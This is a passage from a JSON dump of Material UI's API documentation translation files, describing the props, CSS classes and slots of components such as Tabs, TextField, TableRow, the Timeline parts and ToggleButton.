    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"disabled\": { \"description\": \"If <code>true</code>, the component is disabled.\" },\n    \"getItemAriaLabel\": {\n      \"description\": \"Accepts a function which returns a string value that provides a user-friendly name for the current page. This is important for screen reader users.<br>For localization purposes, you can use the provided <a href=\\\"https://mui.com/material-ui/guides/localization/\\\">translations</a>.\",\n      \"typeDescriptions\": {\n        \"type\": {\n          \"name\": \"type\",\n          \"description\": \"The link or button type to format (&#39;first&#39; | &#39;last&#39; | &#39;next&#39; | &#39;previous&#39;).\"\n        }\n      }\n    }\n  },\n  \"classDescriptions\": {},\n  \"slotDescriptions\": {\n    \"firstButton\": \"The component that renders the first button.\",\n    \"firstButtonIcon\": \"The component that renders the first button icon.\",\n    \"lastButton\": \"The component that renders the last button.\",\n    \"lastButtonIcon\": \"The component that renders the last button icon.\",\n    \"nextButton\": \"The component that renders the next button.\",\n    \"nextButtonIcon\": \"The component that renders the next button icon.\",\n    \"previousButton\": \"The component that renders the previous button.\",\n    \"previousButtonIcon\": \"The component that renders the previous button icon.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/table-row/table-row.json",
    "content": "{\n  \"componentDescription\": \"Will automatically set dynamic row height\\nbased on the material table element parent (head, body, etc).\",\n  \"propDescriptions\": {\n    \"children\": {\n      \"description\": \"Should be valid <code>&lt;tr&gt;</code> children such as <code>TableCell</code>.\"\n    },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"hover\": { \"description\": \"If <code>true</code>, the table row will shade on hover.\" },\n    \"selected\": {\n      \"description\": \"If <code>true</code>, the table row will have the selected shading.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"footer\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"table variant=&quot;footer&quot;\"\n    },\n    \"head\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"table variant=&quot;head&quot;\"\n    },\n    \"hover\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>hover={true}</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"selected\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>selected={true}</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/table-sort-label/table-sort-label.json",
    "content": "{\n  \"componentDescription\": \"A button based label for placing inside `TableCell` for column sorting.\",\n  \"propDescriptions\": {\n    \"active\": {\n      \"description\": \"If <code>true</code>, the label will have the active styling (should be true for the sorted column).\"\n    },\n    \"children\": { \"description\": \"Label contents, the arrow will be appended automatically.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"direction\": { \"description\": \"The current sort direction.\" },\n    \"hideSortIcon\": { \"description\": \"Hide sort icon when active is false.\" },\n    \"IconComponent\": { \"description\": \"Sort icon to use.\" },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"active\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>active={true}</code>\"\n    },\n    \"directionAsc\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>direction=\\\"asc\\\"</code>\"\n    },\n    \"directionDesc\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>direction=\\\"desc\\\"</code>\"\n    }\n  },\n  \"slotDescriptions\": {\n    \"icon\": \"The component that renders the icon slot.\",\n    \"root\": \"The component that renders the root slot.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/tabs/tabs.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"action\": {\n      \"description\": \"Callback fired when the component mounts. This is useful when you want to trigger an action programmatically. It supports two actions: <code>updateIndicator()</code> and <code>updateScrollButtons()</code>\"\n    },\n    \"allowScrollButtonsMobile\": {\n      \"description\": \"If <code>true</code>, the scroll buttons aren&#39;t forced hidden on mobile. By default the scroll buttons are hidden on mobile and takes precedence over <code>scrollButtons</code>.\"\n    },\n    \"aria-label\": { \"description\": \"The label for the Tabs as a string.\" },\n    \"aria-labelledby\": {\n      \"description\": \"An id or list of ids separated by a space that label the Tabs.\"\n    },\n    \"centered\": {\n      \"description\": \"If <code>true</code>, the tabs are centered. This prop is intended for large views.\"\n    },\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"indicatorColor\": { \"description\": \"Determines the color of the indicator.\" },\n    \"onChange\": {\n      \"description\": \"Callback fired when the value changes.\",\n      \"typeDescriptions\": {\n        \"event\": {\n          \"name\": \"event\",\n          \"description\": \"The event source of the callback. <strong>Warning</strong>: This is a generic event not a change event.\"\n        },\n        \"value\": { \"name\": \"value\", \"description\": \"We default to the index of the child (number)\" }\n      }\n    },\n    \"orientation\": { \"description\": \"The component orientation (layout flow direction).\" },\n    \"scrollButtons\": {\n      \"description\": \"<p>Determine behavior of scroll buttons when tabs are set to scroll:</p>\\n<ul>\\n<li><code>auto</code> will only present them when not all the items are visible.</li>\\n<li><code>true</code> will always present them.</li>\\n<li><code>false</code> will never present them.</li>\\n</ul>\\n<p>By default the scroll buttons are hidden on mobile.\\nThis behavior can be disabled with <code>allowScrollButtonsMobile</code>.</p>\\n\"\n    },\n    \"selectionFollowsFocus\": {\n      \"description\": \"If <code>true</code> the selected tab changes on focus. Otherwise it only changes on activation.\"\n    },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"textColor\": { \"description\": \"Determines the color of the <code>Tab</code>.\" },\n    \"value\": {\n      \"description\": \"The value of the currently selected <code>Tab</code>. If you don&#39;t want any selected <code>Tab</code>, you can set this prop to <code>false</code>.\"\n    },\n    \"variant\": {\n      \"description\": \"<p>Determines additional display behavior of the tabs:</p>\\n<ul>\\n<li><code>scrollable</code> will invoke scrolling properties and allow for horizontally\\n scrolling (or swiping) of the tab bar.</li>\\n<li><code>fullWidth</code> will make the tabs grow to use all the available space,\\n which should be used for small views, like on mobile.</li>\\n<li><code>standard</code> will render the default state.</li>\\n</ul>\\n\"\n    },\n    \"visibleScrollbar\": {\n      \"description\": \"If <code>true</code>, the scrollbar is visible. It can be useful when displaying a long vertical list of tabs.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"centered\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the flex container element\",\n      \"conditions\": \"<code>centered={true}</code> &amp; <code>!variant=\\\"scrollable\\\"</code>\"\n    },\n    \"fixed\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the tablist element\",\n      \"conditions\": \"<code>!variant=\\\"scrollable\\\"</code>\\b\\b\\b\"\n    },\n    \"hideScrollbar\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the tablist element\",\n      \"conditions\": \"<code>variant=\\\"scrollable\\\"</code> and <code>visibleScrollbar={false}</code>\"\n    },\n    \"scrollableX\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the tablist element\",\n      \"conditions\": \"<code>variant=\\\"scrollable\\\"</code> and <code>orientation=\\\"horizontal\\\"</code>\"\n    },\n    \"scrollableY\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the tablist element\",\n      \"conditions\": \"<code>variant=\\\"scrollable\\\"</code> and <code>orientation=\\\"vertical\\\"</code>\"\n    },\n    \"scrollButtonsHideMobile\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the ScrollButtonComponent component\",\n      \"conditions\": \"<code>allowScrollButtonsMobile={true}</code>\"\n    },\n    \"vertical\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>orientation=\\\"vertical\\\"</code>\"\n    }\n  },\n  \"slotDescriptions\": {\n    \"endScrollButtonIcon\": \"The component used for the end scroll button icon.\",\n    \"indicator\": \"The component used for the tab indicator.\",\n    \"list\": \"The component used for the flex container.\",\n    \"root\": \"The component used for the popper.\",\n    \"scrollbar\": \"The component used for the scroller.\",\n    \"scrollButtons\": \"The component used for the scroll button.\",\n    \"scroller\": \"The component used for the scroller.\",\n    \"startScrollButtonIcon\": \"The component used for the start scroll button icon.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/text-field/text-field.json",
    "content": "{\n  \"componentDescription\": \"The `TextField` is a convenience wrapper for the most common cases (80%).\\nIt cannot be all things to all people, otherwise the API would grow out of control.\\n\\n## Advanced Configuration\\n\\nIt's important to understand that the text field is a simple abstraction\\non top of the following components:\\n\\n- [FormControl](/material-ui/api/form-control/)\\n- [InputLabel](/material-ui/api/input-label/)\\n- [FilledInput](/material-ui/api/filled-input/)\\n- [OutlinedInput](/material-ui/api/outlined-input/)\\n- [Input](/material-ui/api/input/)\\n- [FormHelperText](/material-ui/api/form-helper-text/)\\n\\nIf you wish to alter the props applied to the `input` element, you can do so as follows:\\n\\n```jsx\\nconst slotProps = {\\n  htmlInput: {\\n     step: 300\\n  }\\n};\\n\\nreturn <TextField id=\\\"time\\\" type=\\\"time\\\" slotProps={slotProps} />;\\n```\\n\\nFor advanced cases, please look at the source of TextField by clicking on the\\n\\\"Edit this page\\\" button above. Consider either:\\n\\n- using the `slotProps` prop for passing values directly to the components\\n- using the underlying components directly as shown in the demos\",\n  \"propDescriptions\": {\n    \"autoComplete\": {\n      \"description\": \"This prop helps users to fill forms faster, especially on mobile devices. The name can be confusing, as it&#39;s more like an autofill. You can learn more about it <a href=\\\"https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#autofill\\\">following the specification</a>.\"\n    },\n    \"autoFocus\": {\n      \"description\": \"If <code>true</code>, the <code>input</code> element is focused during the first mount.\"\n    },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"color\": {\n      \"description\": \"The color of the component. It supports both default and custom theme colors, which can be added as shown in the <a href=\\\"https://mui.com/material-ui/customization/palette/#custom-colors\\\">palette customization guide</a>.\"\n    },\n    \"defaultValue\": {\n      \"description\": \"The default value. Use when the component is not controlled.\"\n    },\n    \"disabled\": { \"description\": \"If <code>true</code>, the component is disabled.\" },\n    \"error\": { \"description\": \"If <code>true</code>, the label is displayed in an error state.\" },\n    \"fullWidth\": {\n      \"description\": \"If <code>true</code>, the input will take up the full width of its container.\"\n    },\n    \"helperText\": { \"description\": \"The helper text content.\" },\n    \"id\": {\n      \"description\": \"The id of the <code>input</code> element. Use this prop to make <code>label</code> and <code>helperText</code> accessible for screen readers.\"\n    },\n    \"inputRef\": { \"description\": \"Pass a ref to the <code>input</code> element.\" },\n    \"label\": { \"description\": \"The label content.\" },\n    \"margin\": {\n      \"description\": \"If <code>dense</code> or <code>normal</code>, will adjust vertical spacing of this and contained components.\"\n    },\n    \"maxRows\": {\n      \"description\": \"Maximum number of rows to display when multiline option is set to true.\"\n    },\n    \"minRows\": {\n      \"description\": \"Minimum number of rows to display when multiline option is set to true.\"\n    },\n    \"multiline\": {\n      \"description\": \"If <code>true</code>, a <code>textarea</code> element is rendered instead of an input.\"\n    },\n    \"name\": { \"description\": \"Name attribute of the <code>input</code> element.\" },\n    \"onChange\": {\n      \"description\": \"Callback fired when the value is changed.\",\n      \"typeDescriptions\": {\n        \"event\": {\n          \"name\": \"event\",\n          \"description\": \"The event source of the callback. You can pull out the new value by accessing <code>event.target.value</code> (string).\"\n        }\n      }\n    },\n    \"placeholder\": {\n      \"description\": \"The short hint displayed in the <code>input</code> before the user enters a value.\"\n    },\n    \"required\": {\n      \"description\": \"If <code>true</code>, the label is displayed as required and the <code>input</code> element is required.\"\n    },\n    \"rows\": { \"description\": \"Number of rows to display when multiline option is set to true.\" },\n    \"select\": {\n      \"description\": \"Render a <a href=\\\"https://mui.com/material-ui/api/select/\\\"><code>Select</code></a> element while passing the Input element to <code>Select</code> as <code>input</code> parameter. If this option is set you must pass the options of the select as children.\"\n    },\n    \"size\": { \"description\": \"The size of the component.\" },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"type\": {\n      \"description\": \"Type of the <code>input</code> element. It should be <a href=\\\"https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input#input_types\\\">a valid HTML5 input type</a>.\"\n    },\n    \"value\": {\n      \"description\": \"The value of the <code>input</code> element, required for a controlled component.\"\n    },\n    \"variant\": { \"description\": \"The variant to use.\" }\n  },\n  \"classDescriptions\": {},\n  \"slotDescriptions\": {\n    \"formHelperText\": \"The component that renders the helper text.\",\n    \"htmlInput\": \"The html input element.\",\n    \"input\": \"The component that renders the input.\",\n    \"inputLabel\": \"The component that renders the input&#39;s label.\",\n    \"root\": \"The component that renders the root.\",\n    \"select\": \"The component that renders the select.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/textarea-autosize/textarea-autosize.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"maxRows\": { \"description\": \"Maximum number of rows to display.\" },\n    \"minRows\": { \"description\": \"Minimum number of rows to display.\" }\n  },\n  \"classDescriptions\": {}\n}\n"
  },
  {
    "path": "docs/translations/api-docs/timeline/timeline.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"className\": { \"description\": \"className applied to the root element.\" },\n    \"position\": {\n      \"description\": \"The position where the TimelineContent should appear relative to the time axis.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"positionAlternate\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>position=\\\"alternate\\\"</code>\"\n    },\n    \"positionAlternateReverse\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>position=\\\"alternate-reverse\\\"</code>\"\n    },\n    \"positionLeft\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>position=\\\"left\\\"</code>\"\n    },\n    \"positionRight\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>position=\\\"right\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/timeline-connector/timeline-connector.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": { \"root\": { \"description\": \"Styles applied to the root element.\" } }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/timeline-content/timeline-content.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"positionAlternate\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>position=\\\"alternate\\\"</code>\"\n    },\n    \"positionAlternateReverse\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>position=\\\"alternate-reverse\\\"</code>\"\n    },\n    \"positionLeft\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>position=\\\"left\\\"</code>\"\n    },\n    \"positionRight\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>position=\\\"right\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/timeline-dot/timeline-dot.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"color\": { \"description\": \"The dot can have a different colors.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"variant\": { \"description\": \"The dot can appear filled or outlined.\" }\n  },\n  \"classDescriptions\": {\n    \"filled\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"filled\\\"</code>\"\n    },\n    \"filledGrey\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"grey\\\"</code> and <code>variant=\\\"filled\\\"</code>\"\n    },\n    \"filledPrimary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"primary\\\"</code> and <code>variant=\\\"filled\\\"</code>\"\n    },\n    \"filledSecondary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"secondary\\\"</code> and <code>variant=\\\"filled\\\"</code>\"\n    },\n    \"outlined\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"outlined\\\"</code>\"\n    },\n    \"outlinedGrey\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"grey\\\"</code> and <code>variant=\\\"outlined\\\"</code>\"\n    },\n    \"outlinedPrimary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"primary\\\"</code> and <code>variant=\\\"outlined\\\"</code>\"\n    },\n    \"outlinedSecondary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"secondary\\\"</code> and <code>variant=\\\"outlined\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/timeline-item/timeline-item.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"position\": { \"description\": \"The position where the timeline&#39;s item should appear.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"missingOppositeContent\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"TimelineOppositeContent isn&#39;t provided\"\n    },\n    \"positionAlternate\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>position=\\\"alternate\\\"</code>\"\n    },\n    \"positionAlternateReverse\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>position=\\\"alternate-reverse\\\"</code>\"\n    },\n    \"positionLeft\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>position=\\\"left\\\"</code>\"\n    },\n    \"positionRight\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>position=\\\"right\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/timeline-opposite-content/timeline-opposite-content.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"positionAlternate\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>position=\\\"alternate\\\"</code>\"\n    },\n    \"positionAlternateReverse\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>position=\\\"alternate-reverse\\\"</code>\"\n    },\n    \"positionLeft\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>position=\\\"left\\\"</code>\"\n    },\n    \"positionRight\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>position=\\\"right\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/timeline-separator/timeline-separator.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": { \"root\": { \"description\": \"Styles applied to the root element.\" } }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/toggle-button/toggle-button.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"color\": {\n      \"description\": \"The color of the button when it is in an active state. It supports both default and custom theme colors, which can be added as shown in the <a href=\\\"https://mui.com/material-ui/customization/palette/#custom-colors\\\">palette customization guide</a>.\"\n    },\n    \"disabled\": { \"description\": \"If <code>true</code>, the component is disabled.\" },\n    \"disableFocusRipple\": {\n      \"description\": \"If <code>true</code>, the  keyboard focus ripple is disabled.\"\n    },\n    \"disableRipple\": {\n      \"description\": \"If <code>true</code>, the ripple effect is disabled.<br>⚠️ Without a ripple there is no styling for :focus-visible by default. Be sure to highlight the element by applying separate styles with the <code>.Mui-focusVisible</code> class.\"\n    },\n    \"fullWidth\": {\n      \"description\": \"If <code>true</code>, the button will take up the full width of its container.\"\n    },\n    \"onChange\": {\n      \"description\": \"Callback fired when the state changes.\",\n      \"typeDescriptions\": {\n        \"event\": { \"name\": \"event\", \"description\": \"The event source of the callback.\" },\n        \"value\": { \"name\": \"value\", \"description\": \"of the selected button.\" }\n      }\n    },\n    \"onClick\": {\n      \"description\": \"Callback fired when the button is clicked.\",\n      \"typeDescriptions\": {\n        \"event\": { \"name\": \"event\", \"description\": \"The event source of the callback.\" },\n        \"value\": { \"name\": \"value\", \"description\": \"of the selected button.\" }\n      }\n    },\n    \"selected\": {\n      \"description\": \"If <code>true</code>, the button is rendered in an active state.\"\n    },\n    \"size\": {\n      \"description\": \"The size of the component. The prop defaults to the value inherited from the parent ToggleButtonGroup component.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"value\": {\n      \"description\": \"The value to associate with the button when selected in a ToggleButtonGroup.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"disabled\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disabled={true}</code>\"\n    },\n    \"fullWidth\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>fullWidth={true}</code>\"\n    },\n    \"primary\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"primary\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"secondary\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"secondary\\\"</code>\"\n    },\n    \"selected\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>selected={true}</code>\"\n    },\n    \"sizeLarge\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>size=\\\"large\\\"</code>\"\n    },\n    \"sizeMedium\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>size=\\\"medium\\\"</code>\"\n    },\n    \"sizeSmall\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>size=\\\"small\\\"</code>\"\n    },\n    \"standard\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"standard\\\"</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/toggle-button-group/toggle-button-group.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"color\": {\n      \"description\": \"The color of the button when it is selected. It supports both default and custom theme colors, which can be added as shown in the <a href=\\\"https://mui.com/material-ui/customization/palette/#custom-colors\\\">palette customization guide</a>.\"\n    },\n    \"disabled\": {\n      \"description\": \"If <code>true</code>, the component is disabled. This implies that all ToggleButton children will be disabled.\"\n    },\n    \"exclusive\": {\n      \"description\": \"If <code>true</code>, only allow one of the child ToggleButton values to be selected.\"\n    },\n    \"fullWidth\": {\n      \"description\": \"If <code>true</code>, the button group will take up the full width of its container.\"\n    },\n    \"onChange\": {\n      \"description\": \"Callback fired when the value changes.\",\n      \"typeDescriptions\": {\n        \"event\": { \"name\": \"event\", \"description\": \"The event source of the callback.\" },\n        \"value\": {\n          \"name\": \"value\",\n          \"description\": \"of the selected buttons. When <code>exclusive</code> is true this is a single value; when false an array of selected values. If no value is selected and <code>exclusive</code> is true the value is null; when false an empty array.\"\n        }\n      }\n    },\n    \"orientation\": { \"description\": \"The component orientation (layout flow direction).\" },\n    \"size\": { \"description\": \"The size of the component.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"value\": {\n      \"description\": \"The currently selected value within the group or an array of selected values when <code>exclusive</code> is false.<br>The value must have reference equality with the option in order to be selected.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"disabled\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disabled={true}</code>\"\n    },\n    \"firstButton\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the first button in the toggle button group\"\n    },\n    \"fullWidth\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>fullWidth={true}</code>\"\n    },\n    \"grouped\": { \"description\": \"Styles applied to {{nodeName}}.\", \"nodeName\": \"the children\" },\n    \"horizontal\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      